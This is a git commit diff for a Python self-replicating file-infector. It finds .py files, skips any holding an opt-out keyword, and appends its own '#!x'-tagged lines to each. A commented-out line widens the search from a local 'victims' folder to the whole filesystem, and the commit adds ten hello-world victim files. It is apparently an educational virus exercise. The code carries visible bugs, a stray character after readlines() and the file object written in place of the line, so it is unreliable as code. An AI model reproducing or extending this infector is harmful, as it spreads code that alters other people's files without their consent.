implement self replicating code and insert local victims
This commit is contained in:
@@ -4,21 +4,37 @@ import glob #!x
|
|||||||
import socket #!x
|
import socket #!x
|
||||||
import string #!x
|
import string #!x
|
||||||
|
|
||||||
cmd = 'find /tmp -name "*.py" -print' #!x
|
# search command, adjust to your needs
|
||||||
|
#cmd = 'find / -name "*.py" -print' #!x
|
||||||
|
cmd = 'find ./victims -name "*.py" -print' #!x
|
||||||
|
# keyword which prevents file from getting infected
|
||||||
|
keyword = 'plsdontinjectme' #!x
|
||||||
|
|
||||||
|
# for each file that matches the search command
|
||||||
for Files in os.popen(cmd).readlines():#!x
|
for snippet in os.popen(cmd).readlines()l: #!x
|
||||||
Files = Files[:-1]#!x
|
# strip newlines
|
||||||
|
snippet = snippet[:-1] #!x
|
||||||
try: #!x
|
try: #!x
|
||||||
vCode = open(__file__, 'r')#!x
|
# open this file containing the target code
|
||||||
victim = open(Files, 'r')#!x
|
code = open(__file__, 'r') #!x
|
||||||
readvictim = victim.read()#!x
|
# open victim file
|
||||||
if str.find(readvictim, "pRdElKa") == -1:#!x
|
victim = open(snippet, 'r') #!x
|
||||||
victim = open(Files, 'a')#!x
|
# read the content of the victim file
|
||||||
for code in vCode.readlines():#!x
|
read_victim = victim.read() #!x
|
||||||
if("#!x") in code:#!x
|
# if the file contains keyword, do not inject code
|
||||||
vCode.close()#!x
|
if str.find(read_victim, keyword) == -1: #!x
|
||||||
mycode=(code)#!x
|
# open it with write_append rights
|
||||||
victim.write(mycode)#!x
|
victim = open(snippet, 'a') #!x
|
||||||
|
# for each line in
|
||||||
|
for line in code.readlines(): #!x
|
||||||
|
# if the line contains the copy signal
|
||||||
|
if("#!x") in line: #!x
|
||||||
|
# close the code file
|
||||||
|
code.close() #!x
|
||||||
|
# save the content
|
||||||
|
insert=(code) #!x
|
||||||
|
# insert the code into the victim file
|
||||||
|
victim.write(insert) #!x
|
||||||
|
# poor mans error handling
|
||||||
except IOError: #!x
|
except IOError: #!x
|
||||||
a = 1 #!x
|
a = 1 #!x
|
||||||
|
|||||||
2
victims/a.py
Normal file
2
victims/a.py
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
import string
|
||||||
|
print("hello world")
|
||||||
2
victims/b.py
Normal file
2
victims/b.py
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
import string
|
||||||
|
print("hello world")
|
||||||
2
victims/c.py
Normal file
2
victims/c.py
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
import string
|
||||||
|
print("hello world")
|
||||||
2
victims/d.py
Normal file
2
victims/d.py
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
import string
|
||||||
|
print("hello world")
|
||||||
2
victims/e.py
Normal file
2
victims/e.py
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
import string
|
||||||
|
print("hello world")
|
||||||
2
victims/f.py
Normal file
2
victims/f.py
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
import string
|
||||||
|
print("hello world")
|
||||||
2
victims/g.py
Normal file
2
victims/g.py
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
import string
|
||||||
|
print("hello world")
|
||||||
2
victims/h.py
Normal file
2
victims/h.py
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
import string
|
||||||
|
print("hello world")
|
||||||
2
victims/j.py
Normal file
2
victims/j.py
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
import string
|
||||||
|
print("hello world")
|
||||||
2
victims/k.py
Normal file
2
victims/k.py
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
import string
|
||||||
|
print("hello world")
|
||||||
Reference in New Issue
Block a user